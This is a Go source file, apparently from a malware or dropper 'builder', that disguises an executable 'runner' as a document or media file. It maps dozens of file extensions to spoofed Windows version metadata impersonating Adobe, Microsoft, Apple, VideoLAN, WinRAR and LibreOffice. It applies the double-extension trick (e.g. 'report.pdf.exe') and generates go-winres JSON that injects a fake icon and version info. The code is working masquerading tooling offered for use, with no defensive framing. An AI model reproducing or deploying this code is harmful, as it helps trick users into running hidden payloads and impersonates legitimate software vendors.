393 lines
22 KiB
Go
393 lines
22 KiB
Go
package builder
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
|
|
// When injected into the runner, Windows Explorer and Task Manager will show
|
|
// this information instead of the generic Go binary defaults.
|
|
type fileDisguiseInfo struct {
|
|
FileDescription string
|
|
ProductName string
|
|
CompanyName string
|
|
LegalCopyright string
|
|
OriginalFilename string // the "real" exe that Windows thinks this is
|
|
FileVersion string // e.g. "24.0.20112.0"
|
|
ProductVersion string // e.g. "2024.002.20965"
|
|
}
|
|
|
|
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
|
|
// the runner binary look like the legitimate application for that file type.
|
|
// Extensions without an entry fall back to a generic Windows shell host entry.
|
|
var disguiseByExt = map[string]fileDisguiseInfo{
|
|
// ── Documents ──────────────────────────────────────────────────────────────
|
|
".pdf": {
|
|
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
|
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
|
|
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
|
|
},
|
|
".doc": {
|
|
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".docx": {
|
|
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".xls": {
|
|
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".xlsx": {
|
|
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".ppt": {
|
|
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".pptx": {
|
|
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
".txt": {
|
|
FileDescription: "Text Document", ProductName: "Notepad",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
},
|
|
".csv": {
|
|
FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
|
},
|
|
// ── Video ──────────────────────────────────────────────────────────────────
|
|
".mp4": {
|
|
FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".mkv": {
|
|
FileDescription: "Matroska Video File", ProductName: "VLC media player",
|
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
|
},
|
|
".mov": {
|
|
FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
|
|
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
|
OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
|
|
},
|
|
".avi": {
|
|
FileDescription: "AVI Video File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".wmv": {
|
|
FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
// ── Audio ──────────────────────────────────────────────────────────────────
|
|
".mp3": {
|
|
FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".wav": {
|
|
FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
// ── Images ─────────────────────────────────────────────────────────────────
|
|
".jpg": {
|
|
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".jpeg": {
|
|
FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".png": {
|
|
FileDescription: "PNG Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".gif": {
|
|
FileDescription: "GIF Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
// ── Audio (extended) ───────────────────────────────────────────────────────
|
|
".flac": {
|
|
FileDescription: "FLAC Audio File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".aac": {
|
|
FileDescription: "AAC Audio File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
".ogg": {
|
|
FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player",
|
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
|
},
|
|
".m4a": {
|
|
FileDescription: "MPEG-4 Audio File", ProductName: "iTunes",
|
|
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
|
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
|
},
|
|
".wma": {
|
|
FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
// ── Video (extended) ───────────────────────────────────────────────────────
|
|
".webm": {
|
|
FileDescription: "WebM Video File", ProductName: "VLC media player",
|
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
|
},
|
|
".m4v": {
|
|
FileDescription: "iTunes Video File", ProductName: "iTunes",
|
|
CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
|
|
OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
|
|
},
|
|
".flv": {
|
|
FileDescription: "Flash Video File", ProductName: "VLC media player",
|
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
|
},
|
|
".ts": {
|
|
FileDescription: "MPEG-TS Video File", ProductName: "VLC media player",
|
|
CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
|
|
OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
|
|
},
|
|
".3gp": {
|
|
FileDescription: "3GPP Video File", ProductName: "Windows Media Player",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
|
|
},
|
|
// ── Images (extended) ──────────────────────────────────────────────────────
|
|
".bmp": {
|
|
FileDescription: "Bitmap Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".webp": {
|
|
FileDescription: "WebP Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".tiff": {
|
|
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".tif": {
|
|
FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".heic": {
|
|
FileDescription: "HEIF Image", ProductName: "Microsoft Photos",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
|
|
},
|
|
".svg": {
|
|
FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
|
},
|
|
".ico": {
|
|
FileDescription: "Icon File", ProductName: "Windows Explorer",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
},
|
|
// ── Archives ───────────────────────────────────────────────────────────────
|
|
".zip": {
|
|
FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
},
|
|
".rar": {
|
|
FileDescription: "WinRAR archive", ProductName: "WinRAR",
|
|
CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
|
|
OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
|
|
},
|
|
".7z": {
|
|
FileDescription: "7-Zip Archive", ProductName: "7-Zip",
|
|
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
|
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
|
},
|
|
".tar": {
|
|
FileDescription: "Tape Archive File", ProductName: "7-Zip",
|
|
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
|
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
|
},
|
|
".gz": {
|
|
FileDescription: "GZip Archive", ProductName: "7-Zip",
|
|
CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
|
|
OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
|
|
},
|
|
// ── Office / Text (extended) ───────────────────────────────────────────────
|
|
".odt": {
|
|
FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer",
|
|
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
|
OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
|
},
|
|
".ods": {
|
|
FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc",
|
|
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
|
OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
|
},
|
|
".odp": {
|
|
FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress",
|
|
CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
|
|
OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
|
|
},
|
|
".rtf": {
|
|
FileDescription: "Rich Text Document", ProductName: "WordPad",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
},
|
|
".md": {
|
|
FileDescription: "Markdown Document", ProductName: "Notepad",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
},
|
|
// ── Web ────────────────────────────────────────────────────────────────────
|
|
".html": {
|
|
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
|
},
|
|
".htm": {
|
|
FileDescription: "HTML Document", ProductName: "Microsoft Edge",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
|
},
|
|
".xml": {
|
|
FileDescription: "XML Document", ProductName: "Microsoft Edge",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
|
},
|
|
// ── Ebooks ─────────────────────────────────────────────────────────────────
|
|
".epub": {
|
|
FileDescription: "Electronic Publication", ProductName: "Microsoft Edge",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
|
|
},
|
|
// ── Adobe Creative ─────────────────────────────────────────────────────────
|
|
".psd": {
|
|
FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop",
|
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.",
|
|
OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12",
|
|
},
|
|
".ai": {
|
|
FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator",
|
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.",
|
|
OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1",
|
|
},
|
|
".indd": {
|
|
FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign",
|
|
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.",
|
|
OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0",
|
|
},
|
|
}
|
|
|
|
// fileDisguiseForExt returns the best disguise metadata for a given file extension.
|
|
// Falls back to a generic Windows shell host entry if the extension is not recognised.
|
|
func fileDisguiseForExt(ext string) fileDisguiseInfo {
|
|
if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
|
|
return info
|
|
}
|
|
// Generic fallback — looks like a Windows shell component
|
|
return fileDisguiseInfo{
|
|
FileDescription: "Windows Shell Extension", ProductName: "Windows",
|
|
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
|
OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
|
|
}
|
|
}
|
|
|
|
// disguisedRunnerName returns the Windows runner filename that impersonates a
|
|
// document type using the double-extension trick:
|
|
//
|
|
// "report.pdf" → "report.pdf.exe"
|
|
// "clip.mp4" → "clip.mp4.exe"
|
|
//
|
|
// When Windows hides known file extensions (the OS default), the user sees
|
|
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
|
|
func disguisedRunnerName(payloadName string) string {
|
|
ext := strings.ToLower(filepath.Ext(payloadName))
|
|
if ext == ".exe" || ext == "" {
|
|
// Already an exe payload or no extension — no double-extension trick
|
|
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
|
if base == "" {
|
|
base = "setup"
|
|
}
|
|
return sanitizeFileName(base) + ".exe"
|
|
}
|
|
base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
|
|
if base == "" {
|
|
base = "file"
|
|
}
|
|
// e.g. "quarterly-report.pdf.exe"
|
|
return sanitizeFileName(base) + ext + ".exe"
|
|
}
|
|
|
|
// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
|
|
// icoRelPath, relative to the winres JSON) and the spoofed version info.
|
|
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
|
|
// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
|
|
fv := strings.ReplaceAll(info.FileVersion, ".", ",")
|
|
pv := strings.ReplaceAll(info.ProductVersion, ".", ",")
|
|
|
|
doc := map[string]any{
|
|
"RT_GROUP_ICON": map[string]any{
|
|
"APP": map[string]any{"0409": icoRelPath},
|
|
},
|
|
"RT_VERSION": map[string]any{
|
|
"#1": map[string]any{
|
|
"0409": map[string]any{
|
|
"FILEVERSION": fv,
|
|
"PRODUCTVERSION": pv,
|
|
"FileDescription": info.FileDescription,
|
|
"FileVersion": info.FileVersion,
|
|
"InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"),
|
|
"LegalCopyright": info.LegalCopyright,
|
|
"OriginalFilename": info.OriginalFilename,
|
|
"ProductName": info.ProductName,
|
|
"ProductVersion": info.ProductVersion,
|
|
"CompanyName": info.CompanyName,
|
|
},
|
|
},
|
|
},
|
|
}
|
|
|
|
return marshalJSONPretty(doc)
|
|
}
|
|
|
|
func marshalJSONPretty(v any) ([]byte, error) {
|
|
return json.MarshalIndent(v, "", " ")
|
|
}
|
|
|
|
// fileDisguiseSummary returns a one-line human-readable description of what the
|
|
// disguise will look like, used for logging.
|
|
func fileDisguiseSummary(payloadExt string) string {
|
|
info := fileDisguiseForExt(payloadExt)
|
|
return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
|
|
}
|